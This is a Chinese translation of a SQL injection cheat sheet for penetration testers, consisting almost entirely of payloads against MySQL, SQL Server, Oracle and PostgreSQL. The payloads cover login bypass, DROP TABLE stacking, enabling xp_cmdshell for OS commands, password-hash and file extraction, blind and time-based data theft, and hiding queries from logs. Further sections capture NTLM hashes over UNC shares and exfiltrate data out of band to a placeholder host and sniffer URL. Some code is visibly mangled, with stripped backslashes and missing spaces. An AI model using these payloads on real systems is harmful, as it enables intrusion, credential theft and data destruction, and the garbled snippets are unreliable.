SQL 注入速查表

ho1223 8年前發布 | 9K 次閱讀 SQL注入 SQL 移動開發

什么是 SQL 注入速查表?

SQL注入速查表是可以為你提供關于不同種類 SQL注入漏洞 的詳細信息的一個資源。這份速查表對于經驗豐富的滲透測試人員,或者剛開始接觸 Web應用安全 的初學者,都是一份很好的參考資料。

關于這份 SQL 注入速查表

這份 SQL 速查表最初是 2007 年時 Ferruh Mavituna 在他自己的博客上發布的。我們更新了它并將它移到了公司 CEO 的博客上。現在,這份速查表僅包含了 MySQLSQL Server ,和有限的一些關于 OraclePostgerSQL 數據庫的信息。表中的部分示例可能無法在每一個場景都正常運行,因為真實使用的環境中,可能因為括號的使用、不同的代碼上下文以及出乎意料的、奇怪而復雜的 SQL 語句而有所差異。

示例提供給你關于潛在攻擊的基本思路,而且幾乎每節都包含有簡短的說明。

  • M:MySQL
  • S:SQL Server
  • P:PostgreSQL
  • O:Oracle
  • +:可能出現在其他所有數據庫

例如:

  • (MS)代表:MySQL 和 SQL Server 等
  • (M*S)代表:僅部分版本及有特殊說明的 MySQL,以及 SQLServer

目錄表

  1. 語法參考,攻擊樣例以及注入小技巧

(1)行間注釋

  • 使用了行間注釋的 SQL 注入攻擊樣例

(2)行內注釋

  • 經典的行內注釋注入攻擊樣例
  • MySQL 版本探測攻擊樣例

(3)堆疊查詢(Stacking Queries)

  • 支持堆疊查詢的語言/數據庫
  • 關于 MySQL 和 PHP
  • 堆疊注入攻擊樣例

(4)If 語句

  • MySQL 的 If 語句
  • SQL Server 的 If 語句
  • If 語句的注入攻擊樣例

(5)使用整數(Integers)

(6)字符串操作

  • 字符串的連結

(7)沒有引號的字符串

  • 基于 16 進制的注入攻擊樣例

(8)字符串變體 & 相關知識

(9)Union 注入

  • UNION — 語言問題處理

(10)繞過登陸界面

(11)在SQL Server 2005 中啟用 xp_cmdshell

(12)探測 SQL Server 數據庫的結構

(13)從基于錯誤的 SQL 注入中快速提取數據的方法

(14)SQL 盲注

(15)掩蓋痕跡

(16)MySQL 的額外說明

(17)二階 SQL 注入

(18)帶外(OOB)頻道攻擊

語法參考、攻擊示例和注入小技巧

結束 / 注釋掉 / 行注釋

行間注釋

注釋掉查詢語句的其余部分

行間注釋通常用于忽略掉查詢語句的其余部分,這樣你就不用處理因為注入導致的語法變動。

  • — (SM)
    DROPsampletable;--
    
  • # (M)
    DROPsampletable;#
    

行間注釋的 SQL 注入攻擊示例

  • 用戶名:admin’–

    SELECT * FROMmembersWHEREusername = 'admin'--' AND password = 'password'
    

這會讓你以admin用戶身份登錄,因為其余部分的SQL語句被注釋掉了。

行內注釋

通過不關閉的注釋,注釋掉查詢語句的其余部分,或者用于 繞過黑名單過濾 、移除空格、迷惑和探測數據庫版本。

  • /*這里是注釋內容*/ (SM)
    • DROP/*注釋*/sampletable
    • DR/**/OP/*繞過過濾*/sampletable
    • SELECT/*消除空格*/password/**/FROM/**/Members
    </li>
  • /*! MYSQL 專有 SQL */ (M)
  • </ul>

    這是 MySQL 的專有語法。非常適合用來探測 MySQL 版本。如果你在注釋中寫入代碼,只有 MySQL 才會執行。你同樣可以使用這個方法,讓代碼只在服務器版本高于指定版本才執行。

    SELECT /*!32302 1/0, */ 1 FROMtablename
    

    經典的行內注釋 SQL 注入攻擊示例

    ID: 10; DROPTABLEmembers /*
    

    在查詢結尾簡單地去除其他內容。等同于 10; DROP TABLE members —

    SELECT /*!32302 1/0, */ 1 FROMtablename
    

    如果 MySQL 版本高于 23.02 會拋出一個除數為 0(division by 0)的錯誤

    MySQL  版本探測攻擊示例

    ID: /*!32302 10*/
    ID: 10
    

    如果 MySQL 的版本高于 23.02,執行上面兩個查詢你將得到相同的結果

    SELECT /*!32302 1/0, */ 1 FROMtablename
    

    如果 MySQL 版本高于 23.02 會拋出一個除數為 0(division by 0)的錯誤

    堆疊查詢

    在一個事務中執行多個查詢。這在每一個注入點都非常有用,尤其是后端使用了 SQL Server 的應用程序。

    • ; (S)

      SELECT * FROMmembers; DROPmembers--
      

    結束一個查詢并開始一個新的查詢。

    語言 / 數據庫堆疊查詢支持表

    綠色:支持; 深灰色 :不支持; 淺灰色 :未知

    關于 MySQL 和 PHP

    闡明一些問題

    PHP – MySQL 不支持堆疊查詢, Java 不支持堆疊查詢(Oracle 我很確定,其他的就不太確定了)。通常來說 MySQL 支持堆疊查詢,但在 PHP – MySQL 應用程序中大多數配置下的數據庫層都不能執行第二條查詢,也許 MySQL 客戶端支持這個,我并不是很確定。有人能說明下嗎?

    堆疊注入攻擊示例

    • ID: 10;DROP members —
    SELECT * FROMproductsWHEREid = 10; DROPmembers--
    

    這在正常SQL查詢執行后將會執行 DROP members 語句。

    If語句

    根據If語句得到響應。這是盲注(Blind SQL Injection)的關鍵點之一,在盲注和精確的簡單測試中都非常有用。

    MySQL 的 If 語句

    IF( condition , true-part , false-part )(M)

    SELECTIF(1=1,'true','false')
    

    SQL Server 的 If 語句

    IF condition true-part ELSE false-part (S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'
    

    Oracle 的 If 語句

    • BEGIN

    IF condition THEN true-part ; ELSE false-part ; END IF; END;(O)

    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
    

    PostgreSQL 的 If 語句

    • SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)
    SELECTCASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
    

    If 語句的 SQL 注入攻擊示例

    if ((selectuser) = 'sa' OR (selectuser) = 'dbo') select 1 else select 1/0 (S)
    

    如果當前登錄的用戶不是 ”sa” 或 “dbo”,語句會拋出 除數為0 的錯誤。

    整數的使用

    對于繞過非常有用,如 magic_quotes() 和類似的過濾器,甚至是各種WAF。

    • 0x HEXNUMBER (SM)

      你可以這樣使用 16 進制數。

    SELECTCHAR(0x66)(S)
    SELECT 0x5045 (這不是一個整數,而會是一個 16 進制字符串)(M)
    SELECT 0x50 + 0x45 (現在這個是整數了!)(M)
    

    字符串操作

    字符串相關的操作。這些對于構造不含引號、繞過黑名單或探測后端數據庫的注入非常有用。

    字符串的連結

    • + (S)
      SELECTlogin + '-' + passwordFROMmembers
      
    • || (*MO)
      SELECTlogin || '-' || passwordFROMmembers
      

    * 關于 MySQL 的 “||”

    僅當 MySQL 在 ANSI 模式下這(指 “||” 符號)才會執行,其他模式下 MySQL 會當成 邏輯運算符 并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函數。

    • CONCAT(str1, str2, str3, …) (M)

      連接參數里提供的字符串。

      SELECTCONCAT(login, password) FROMmembers
      

    沒有引號的字符串

    有一些直接的方式可以使用字符串,但通常更合適的是使用 CHAR() (MS) 和 CONCAT() (M) 來生成無引號的字符串。

    0x457578 (M) - 字符串的 16 進制表示
    SELECT 0x457578
    這在 MySQL 中會被當做字符串處理。在 MySQL 中更簡單地生成 16 進制字符串的方式是使用下面這個方法:
    SELECTCONCAT('0x',HEX('c:boot.ini'))
    
    在 MySQL 中使用 CONCAT() 函數
    SELECTCONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    這會返回‘KLM’。
    
    SELECTCHAR(75)+CHAR(76)+CHAR(77) (S)
    這會返回‘KLM’。
    
    SELECTCHR(75)||CHR(76)||CHR(77) (O)
    這會返回‘KLM’。
    
    SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
     
    這會返回‘KLM’。
    

    基于 16 進制的 SQL 注入示例

    SELECTLOAD_FILE(0x633A5C626F6F742E696E69) (M)
    

    這會顯示 c:boot.ini 的內容

    字符串變體 & 相關知識

    • ASCII() (SMP)
      返回最左邊字符的ASCII碼的值。這是盲注的一個必備函數。SELECT ASCII(‘a’)
    • CHAR() (SM)
      將一個整數轉換為對應的ASCII值。SELECT CHAR(64)

    Union注入

    通過union你能跨表執行 SQL 查詢。 基本上你可以污染(注入)查詢使它返回另一個表的記錄。

    SELECTheader, txtFROMnewsUNIONALLSELECTname, passFROMmembers
    

    這個查詢會聯結并返回 news 表和 members 表的所有記錄。

    另一個例子:

    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
    

    UNION – 語言問題處理

    當你使用 Union 注入的時候,有時會遇到錯誤,因為不同語言的設置(表的設置、字段的設置、表或數據庫的聯結設置等等),下面這些函數對于解決以上問題很有用。這樣的問題比較少見,但當你處理例如日文、俄文、土耳其文或其他類似的應用程序時,你就會發現了。

    • SQL Server (S)

      使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其他有效的方式 – 具體信息可以查看 SQL Server 的文檔。

    SELECTheaderFROMnewsUNIONALLSELECTnameCOLLATESQL_Latin1_General_Cp1254_CS_ASFROMmembers
    
    • MySQL (M)

      Hex() 基本上可以解決所有出現的問題。

    繞過登錄界面(SMO+)

    SQL 注入入門指引,登錄小技巧

    • admin’ —
    • admin’ #
    • admin’/*
    • ‘ or 1=1–
    • ‘ or 1=1#
    • ‘ or 1=1/*
    • ‘) or ‘1’=’1–
    • ‘) or (‘1’=’1–
    • ….
    • 以不同的用戶登錄 (SM*)
      ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

    * 舊版本的 MySQL 不支持 union 查詢

    繞過檢查 MD5 哈希的登錄界面

    如果應用是先通過用戶名獲取記錄,然后再把返回的 MD5 值與你輸入的密碼的 MD5 進行比較,那么你就需要一些額外的技巧欺騙應用來繞過驗證了。你可以將一個已知明文的 MD5 哈希和它的明文一起提交,這種情況下,應用會比較你的密碼和你提供的 MD5 值,而不是從數據庫獲取的 MD5。

    繞過 MD5 檢查的例子  (MSP)

    Username : admin
    Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
     
    81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
    

    基于錯誤 – 探測列名

    使用 HAVING 探測列名 基于錯誤 (S)

    順序不分先后

    • ‘ HAVING 1=1 —
    • ‘ GROUP BY columnfromerror1 HAVING 1=1 —
    • ‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —
    • ‘ GROUP BY columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
    • 直到不再報錯就完成了。

    SELECT 查詢中使用 ORDER BY 探測有多少個列( MSO+)

    通過 ORDER BY 探測列數可以加快 UNION 注入的進度。

    • ORDER BY 1–
    • ORDER BY 2–
    • ORDER BY N– so on
    • 持續操作直到出現錯誤,報錯時使用的數字就是列數了。

    數據類型、UNION 等

    提示:

    • 在使用 UNION 時總是搭配上 ALL,因為會存在相同值的字段,而缺省情況下,Union 都會嘗試返回非重復的記錄。
    • 在查詢的開始處,可以使用 -1 或者其他不存在的值來去除左側表中非必須的記錄(前提是注入點在 WHERE 語句里)。如果你一次只想取得一條記錄,這是非常關鍵的點。
    • 在對大多數數據類型的 UNION 注入中使用 NULL 代替猜測它是字符串、日期、整數等類型。
      • 盲注的情況下,要注意判斷錯誤時來自數據庫還是來自應用程序本身。因為像 ASP.NET 或有其他語言,通常在使用 NULL 值的時候會拋出錯誤(因為開發者們一般沒有想過用戶名字段會出現 NULL)
      </li> </ul>

      獲取列類型

      • ‘ union select sum( columntofind ) from users — (S)
        Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
        [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 如果沒有返回錯誤說明字段是數字類型(numeric) .
      • 你也可以使用 CAST() 或者 CONVERT()
        • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
        </li>
      • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
        沒有錯誤 – 語法是對的。這是 MS SQL Server 的語法。繼續。
      • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
        沒有錯誤 – 第一列是 integer 類型。
      • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —
        錯誤! – 第二列不是 integer 類型。
      • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
        沒有錯誤 – 第二列是 string 類型。
      • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
        報錯! – 第三列不是 integer 類型。
      • …Microsoft OLE DB Provider for SQL Server error ‘80040e07’
        Explicit conversion from data type int to image is not allowed.
      • </ul>

        你在遇到 union 錯誤之前會遇到 convert() 錯誤! 所以從 convert() 開始,再用 union。

        簡單的注入(MSO+)

        '; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
        

        有用的函數 / 信息收集 / 存儲過程 / Bulk SQL 注入說明

        <p>@@version(MS)</p>

        數據庫的版本和關于 SQL Server 的詳細信息。這是個常量,你能把它當做一個列來 select,而且不需要提供表名。同樣,你也能在 insert、update 語句或者函數里使用它。

        INSERTINTOmembers(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
        

        Bulk insert(S)

        (補充說明:bulk insert 是 SQL Server 的一個命令)

        插入一個文件的內容到表中。如果你不知道應用的內部路徑,可以讀取 IIS(僅限 IIS 6)的元數據庫文件(metabase file, %systemroot%system32inetsrvMetaBase.xml )然后找出應用的路徑。

        1. Create table foo( line varchar(8000) )
          1. bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
          2. Drop 臨時表,并重復另一個文件。
          </li> </ol>

          BCP(S)

          (補充說明:BCP 是 SQL Server 的一個工具)

          寫文本文件。使用這個功能需要登錄。

          bcp “SELECT * FROM test..foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar

          SQL Server 中的 VBS WSH(S)

          開啟 ActiveX 支持的情況下,你可以在 SQL Server 中使用 VBS 和 WSH 腳本編程。

          declare @o int

          exec sp_oacreate ‘wscript.shell’, @o out

          exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’

          Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —

          執行系統命令、 xp_cmdshell(S)

          眾所周知,在 SQL Server 2005 中默認是禁用的。 你需要 Admin 權限。 .

          EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

          用 ping 簡單檢查下 (在開始之前先配置好你的防火墻或嗅探器確認請求能發出)

          EXEC master.dbo.xp_cmdshell ‘ping ‘

          你無法從錯誤或 union 或其他的什么直接讀取結果。

          SQL Server 中的一些特殊表( S)

          • Error Messages
            .sysmessages
          • Linked Servers
            .sysservers
          • Password 2000 2005 版本都能被入侵,它們使用非常相似的哈希算法)
            SQL Server 2000:.sysxlogins
            SQL Server 2005 : sys.sql_logins

          SQL Server 的其他存儲過程( S)

          1. 命令執行( xp_cmdshell

            exec master..xp_cmdshell ‘dir’

          1. 注冊表相關( xp_regread
            1. xp_regaddmultistring
            2. xp_regdeletekey
            3. xp_regdeletevalue
            4. xp_regenumkeys
            5. xp_regenumvalues
            6. xp_regread
            7. xp_regremovemultistring
            8. xp_regwrite
              exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
              exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
            </li>
          2. 管理服務( xp_servicecontrol
          3. 媒體( xp_availablemedia
          4. ODBC 資源( xp_enumdsn
          5. 登錄模式( xp_loginconfig
          6. 創建 Cab 文件( xp_makecab
          7. 域名列舉( xp_ntsec_enumdomains
          8. 結束進程( 需要進程  ID )( xp_terminate_process
          9. 創建新程序( 實際上你想執行什么都可以了)
            sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
            exec xp_webserver
          10. 將文本文件寫進 UNC 或內部路徑(sp_makewebtask)
          11. </ol>

            MSSQL Bulk 說明

            SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

            DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

            HOST_NAME()

            IS_MEMBER (Transact-SQL)

            IS_SRVROLEMEMBER (Transact-SQL)

            OPENDATASOURCE (Transact-SQL)

            INSERT tbl EXEC master..xp_cmdshell OSQL /Q”DBCC SHOWCONTIG”

            OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

            你不能在 SQL Server 的 Insert 語句里使用子查詢。

            使用 LIMIT(M) ORDER(MSO) 的注入

            SELECTid, productFROMtest.test t LIMIT 0,0 UNIONALLSELECT 1,'x'/*,10 ;
            

            如果注入點在 limit 的第二個參數處,你可以把它注釋掉或者使用 union 注入。

            停止 SQL Server(S)

            當你真的不開心了,可以使用 ‘;shutdown —

            在 SQL Server 中啟用 xp_cmdshell

            默認情況下,在 SQL Server 2005 中 xp_cmdshell 和其他一些存在潛在危險的存儲過程都是被禁用的。如果你有 admin 權限就可以啟用它們了。

            EXEC sp_configure ‘show advanced options’,1

            RECONFIGURE

            EXEC sp_configure ‘xp_cmdshell’,1

            RECONFIGURE

            探測 SQL Server 數據庫的結構(S)

            獲取用戶定義表

            SELECTnameFROMsysobjectsWHERExtype = 'U'
            

            獲取字段名

            SELECTnameFROMsyscolumnsWHEREid =(SELECTidFROMsysobjectsWHEREname = 'tablenameforcolumnnames')
            

            移動記錄( S)

            • 修改 WHERE 和使用 NOT IN 或 NOT EXIST

            … WHERE users NOT IN (‘First User’, ‘Second User’)

            SELECTTOP 1 nameFROMmembersWHERENOT EXIST(SELECTTOP 0 nameFROMmembers) -- verygoodone
            
            • 使用惡劣的小技巧
            SELECT * FROMProductWHEREID=2 AND 1=CAST((Select p.namefrom (SELECT (SELECTCOUNT(i.id) AS ridFROMsysobjects i WHERE i.id<=o.id) AS x, namefromsysobjects o) as p where p.x=3) as intSelect p.namefrom (SELECT (SELECTCOUNT(i.id) AS ridFROMsysobjects i WHERExtype='U' and i.id<=o.id) AS x, namefromsysobjects o WHERE o.xtype = 'U') as p where p.x=21
            

            從基于錯誤的 SQL 注入中快速提取數據的方法(S)

            ';BEGIN DECLARE @rt varchar(8000) SET @rd=':'
            SELECT @rd=@rd+' '+name FROM syscolumns
            WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') 
              AND name>@rdSELECT @rdAS rdintoTMP_SYS_TMPend;--
            

            詳細說明可以查看文章: 從基于錯誤的 SQL 注入中快速提取數據的方法

            探測 MySQL 數據庫的結構( M)

            獲取用戶定義表

            SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schema = 'tablename'
            

            獲取列名

            SELECTtable_name, column_nameFROMinformation_schema.columnsWHEREtable_schema = 'tablename'
            

            探測 Oracle 數據庫的結構( O)

            獲取用戶定義表

            SELECT * FROMall_tablesWHEREOWNER = 'DATABASE_NAME'
            

            獲取列名

            SELECT * FROMall_col_commentsWHERETABLE_NAME = 'TABLE'
            

            SQL 盲注

            關于 SQL 盲注

            在一個良好的生產環境應用程序中,通常你 無法在頁面上看到錯誤(error)提示 ,所以你也就無法通過 Union 攻擊或者基于錯誤的攻擊中提取數據。你不得不使用盲注攻擊來取得數據。SQL 盲注存在有兩種類型:

            一般盲注:你無法在頁面中看到響應,但你仍然可以通過響應或 HTTP 狀態碼確定查詢的結果;

            完全盲注:無論你怎么注入也無法從輸出看出任何變化。這樣你只能通過日志記錄或類似的來注入。雖然這并不常見。

            在一般盲注情況中你可以使用 if 語句 或者 WHERE 查詢來注入 (一般來說很容易),在完全盲注你需要使用一些延時函數并分析響應時間。因此你可以在注入 SQL Server 時使用 WAIT FOR DELAY ‘0:0:10’ ,注入 MySQL 時使用 BENCHMARK() 和 sleep(10) ,注入 PostgreSQL 時使用 pg_sleep(10) ,還有對 ORACLE 的一些 PL/SQL 小技巧。

            真實且有點復雜的 SQL 盲注攻擊示例

            這些輸出來自于一個真實的私有 SQL 盲注工具對使用 SQL Server 的后端程序的攻擊和表名遍歷。這些請求完成了探測第一個表名的首字符。因為是自動化攻擊,SQL 查詢比實際需求復雜一些。過程中我們通過二分查找算法嘗試確定字符的 ASCII 值。

            TRUE 和 FALSE 標記代表查詢返回的是 true 或 false。

            TRUE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0)>78-- 
             
            FALSE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0)>103-- 
             
            TRUE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0) 
            FALSE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0)>89-- 
             
            TRUE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0) 
            FALSE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0)>83-- 
             
            TRUE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0) 
            FALSE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0)>80-- 
             
            FALSE : SELECTID, Username, EmailFROM [User]WHEREID = 1 AND ISNULL(ASCII(SUBSTRING((SELECTTOP 1 nameFROMsysObjectsWHERExtYpe=0x55 AND nameNOT IN(SELECTTOP 0 nameFROMsysObjectsWHERExtYpe=0x55)),1,1)),0)
            

            最后兩個查詢失敗 我們可以毫無疑問地確定表名第一個字符的 ASCII 值是 80 ,這意味著第一個字符是   P 。這就是使用二分查找算法進行 SQL 盲注的方法。另一個常見的方法是一位一位(bit)地讀取數據。這兩個方法在不同情況下都有效。

            延時盲注

            首先,在完全沒有提示(really blind)的情況下才使用,否則使用 1/0 方式的錯誤辨認差異。其次,使用超過 20 秒的延時需要小心,因為數據庫的 API 連接或腳本可能出現超時。

            WAIT FOR DELAY ‘time’(S)

            這個與sleep一樣,等待指定的時間。通過 CPU 安全的方法讓數據庫等待。

            WAITFORDELAY '0:0:10'--
            

            另外,你也可以使用分數,像這樣

            WAITFORDELAY '0:0:0.51'
            

            真實案例

            • 是否‘sa’用戶?
              if (select user) = ‘sa’ waitfor delay ‘0:0:10’
            • ProductID = 1;waitfor delay ‘0:0:10’–
            • ProductID =1);waitfor delay ‘0:0:10’–
            • ProductID =1′;waitfor delay ‘0:0:10’–
            • ProductID =1′);waitfor delay ‘0:0:10’–
            • ProductID =1));waitfor delay ‘0:0:10’–
            • ProductID =1′));waitfor delay ‘0:0:10’–

            BENCHMARK()(M)

            基本上,很多人濫用這個命令來做 MySQL 的延時。小心使用,這會很快地消耗服務器的資源!

            BENCHMARK(howmanytimes, do this)
            

            真實案例

            • 判斷是否 root 用戶
              IF EXISTS (SELECT * FROMusersWHEREusername = 'root') BENCHMARK(1000000000,MD5(1))
              
            • 判斷表是否存在
              IF (SELECT * FROMlogin) BENCHMARK(1000000,MD5(1))
              

            pg_sleep(seconds)(P)

            睡眠指定的秒數。

            SELECTpg_sleep(10);
            睡眠 10 秒。
            

            sleep(seconds)(M)

            睡眠指定的秒數。

            SELECTsleep(10);
            睡眠10秒。
            

            dbms_pipe.receive_message(O)

            睡眠指定的秒數。

            (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) 
            THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROMdual)
            

            {INJECTION}= 你想實際運行的查詢。

            如果條件為真(true),會在10秒后才響應。如果是假(false),延遲1秒就返回。

            掩蓋痕跡

            SQL Server -sp_password 日志繞過( S)

            出于安全原因,SQL Server 不會將包含 sp_password 的查詢記錄到日志中。. 所以如果你在查詢中加入 –sp_password 選項,你執行的查詢就不會出現在數據庫日志中(當然,在 Web 服務器的日志里還是會有,所以可能的話盡量使用 POST 方法)

            清晰的 SQL 注入測試

            這些測試完全適用于 SQL 盲注和靜默攻擊。

            1. asp?id=4(SMO)
              1. asp?id=5-1
              2. asp?id=4 OR 1=1
              </li>
            2. asp?name=Book
              1. asp?name=Bo’%2b’ok
              2. asp?name=Bo’ || ’ok( OM)
              3. asp?name=Book’ OR ‘x’=’x
              4. </ol> </li> </ol>

                MySQL 的額外說明

                • 子查詢只在 MySQL 4.1 或以上版本才生效
                • 用戶
                  • SELECT User,Password FROM mysql.user;
                  </li>
                • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
                • SELECT … INTO DUMPFILE
                  • 把查詢寫入一個新文件(不能修改已有的文件)
                  • </ul> </li>
                  • UDF 函數
                    • create function LockWorkStation returns integer soname ‘user32’;
                    • select LockWorkStation();
                    • create function ExitProcess returns integer soname ‘kernel32’;
                    • select exitprocess();
                    • </ul> </li>
                    • SELECT USER();
                    • SELECT password,USER() FROM mysql.user;
                    • admin密碼哈希值的第一位
                      • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
                      • </ul> </li>
                      • 讀取文件
                        • php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
                        • </ul> </li>
                        • MySQL Load Data infile
                          • 這個功能默認是沒有開啟的!
                            • create table foo( line blob );

                              load data infile ‘c:/boot.ini’ into table foo;

                              select * from foo;

                            • </ul> </li>
                            • MySQL 的更多延時方法
                            • select benchmark( 500000, sha1( ‘test’ ) );
                            • php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
                            • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
                              遍歷數據,暴力猜解
                              • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );
                              • </ul> </li> </ul> </li> </ul>

                                潛在有用的 MySQL 函數

                                • MD5()
                                  MD5 哈希
                                • SHA1()
                                  SHA1 哈希
                                • PASSWORD()
                                • ENCODE()
                                • COMPRESS()
                                  壓縮數據,在 SQL 盲注讀取大量二進制數據時很有用。
                                • ROW_COUNT()
                                • SCHEMA()
                                • VERSION()
                                  等同于 @@version

                                二階 SQL 注入

                                一般你在某個地方進行 SQL 注入并期望它沒有被過濾掉。這是常見的隱藏層問題。

                                Name : ' + (SELECT TOP 1 password FROM users ) + ' 
                                Email : xx@xx.com
                                

                                如果應用程序在一個不安全的存儲過程(或函數、流程等)中使用了 name 字段,那么它會將第一個用戶的密碼寫入到你的 name 字段。

                                通過強迫 SQL Server 來得到 NTLM 哈希

                                這個攻擊能幫你得到目標服務器上 SQL Server 用戶的 Windows 密碼,不過你的接入連接可能會被防火墻攔截。這在內部滲透測試中非常有用。我們強迫 SQL Server 連接我們的 Windows UNC 共享(Windows 上常見的網絡共享)并通過類似 Cain & Abel(網絡嗅探和口令破解工具)的工具捕獲 NTLM 會話數據。

                                從一個 UNC 共享進行

                                Bulk insert(S)

                                bulkinsertfoofrom 'YOURIPADDRESSC$x.txt'
                                

                                查看 Bulk Insert Reference 可以讓你了解怎么使用 bulk insert。

                                帶外攻擊

                                SQL Server

                                {INJECTION} = 你想要執行的查詢。

                                ?vulnerableParam=1; SELECT * FROMOPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
                                將 DNS 解析請求轉到 {INJECT}.yourhost.com
                                
                                ?vulnerableParam=1; DECLARE <a >@q</a> varchar(1024); SET <a >@q</a> = ''+({INJECTION})+'.yourhost.comtest.txt'; EXECmaster..xp_dirtree <a >@q</a>
                                將 DNS 解析請求轉到 {INJECTION}.yourhost.com
                                

                                MySQL

                                {INJECTION} = 你想要執行的查詢。

                                ?vulnerableParam=-99 OR (SELECTLOAD_FILE(concat('',({INJECTION}), 'yourhost.com')))
                                將 NBNS 查詢請求或 DNS 解析請求轉到 com
                                
                                ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTOOUTFILE 'yourhost.comshareoutput.txt')
                                將數據寫到你的共享文件夾或文件
                                

                                Oracle

                                {INJECTION} = 你想要執行的查詢。

                                ?vulnerableParam=(SELECTUTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROMDUAL)
                                嗅探程序將會保存結果
                                
